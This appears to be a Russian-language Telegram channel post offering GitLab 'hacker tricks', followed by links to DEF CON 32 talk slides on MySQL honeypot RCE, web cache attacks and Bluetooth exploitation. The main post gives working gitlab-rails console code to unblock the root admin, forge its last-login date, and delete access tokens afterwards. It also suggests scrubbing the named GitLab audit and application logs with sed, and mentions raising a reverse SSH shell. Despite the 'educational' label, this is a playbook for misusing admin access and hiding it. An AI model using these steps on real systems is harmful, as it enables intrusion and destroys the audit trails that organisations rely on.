Офигеть, чувачки, нас 42 человека, хотите покажу хацкерские приколюхи, связанные с гитлабом?
Накиньте реакций )
Накиньте реакций )
🍾8👍3🥰1
Информация предоставлена чисто в образовательных целях!
Ладно, поехали, на всякий всё через консольку rails для администрирования gitlab (gitlab-rails console):
1) Обычно админа root блочат, для безопасности, и почту ему задают через example.com или через любую несуществующую:
2) Разлочили админушку и пошли через ui крутить всякие штуки и смотреть на сикреты, фатальная ошибка, через админку можно посмотреть, когда вы залогинились (также можно из консоли сделать).
user = User.find_by(username: 'root') # Replace 'root' with the actual username
if user
# Inspect user attributes
puts user.attributes
puts user.inspect
# If there is an attribute for user status, update it accordingly
user.update!(state: 'active') # Example attribute
puts "User #{user.username} has been unblocked successfully!"
else
puts "User not found."
end
Чтобы было без казусов, подделываем время последнего входа в систему))
user = User.find_by(username: 'root') # Replace 'root' with the actual username if different
if user
# Construct a Time object for January 1, 2014
specific_date = Time.new(2014, 1, 1, 0, 0, 0, '+00:00') # Adjust timezone if necessary
# Update the last_activity_on attribute
user.update!(last_activity_on: specific_date)
puts "Last activity for user #{user.username} has been set to #{user.last_activity_on}."
else
puts "User not found."
end
3) Вы можете выписать себе токен обмазаться ролёвкой, и весь цимес, после поигрулек можно токен зачистить:
root_user = User.find_by(username: 'root')Таки консоль очень мощная штука, можете себе обратный ssh поднять, тригернуть джобу на runner.
if root_user
puts "Root user found: #{root_user.username}, ID: #{root_user.id}"
tokens = PersonalAccessToken.where(user_id: root_user.id)
if tokens.any?
puts "Tokens for root user:"
tokens.each do |token|
puts "ID: #{token.id}, Created At: #{token.created_at}, Scopes: #{token.scopes.join(', ')}"
end
else
puts "No tokens found for root user."
end
# Remove a specific token (replace <TOKEN_ID> with the actual token ID)
token_id_to_remove = <TOKEN_ID>
token = PersonalAccessToken.find_by(id: token_id_to_remove)
if token
token.destroy
puts "Token with ID #{token_id_to_remove} has been removed."
else
puts "Token with ID #{token_id_to_remove} not found."
end
else
puts "Root user not found."
end
Первый раз я почему-то не нашел такой методики сокрытия активности и решил поделиться, не судите строго)
Ну еще момент, вся ваша активность по гитлабу фиксируется в логах (/var/log/gitlab/), но ведь существует тулза sed 😎
./gitlab-rails/audit_json.log
./gitlab-rails/production_json.log
./gitlab-rails/api_json.log
./gitlab-rails/application_json.log
./gitlab-rails/graphql_json.log
👍3🥰1🍾1
DEF_CON_32_Alexander_Rubin_Martin_Rakhmanov_Atomic_Honeypot_A_MySQL.pdf
4.5 MB
Делаем агресивную бочечку с мёдом, с возможностью RCE со стороны клиента (Mysql) :)
DEF_CON_32_Martin_Doyhenard_Gotta_Cache_em_all_bending_the_rules.pdf
1.9 MB
Да, давайййй, кэшируй паскуда))
Атаки на веб кэш 😎
Атаки на веб кэш 😎
DEF_CON_32_Vangelis_Stykas_Behind_Enemy_Lines_Engaging_and_disrupting.pdf
3.8 MB
Искусство компрометации (вебчик)
DEF_CON_32_Vladyslav_Zubkov_Martin_Strohmeier_Exploiting_Bluetooth.pdf
11.9 MB
Exploiting Bluetooth: from your car to the bank account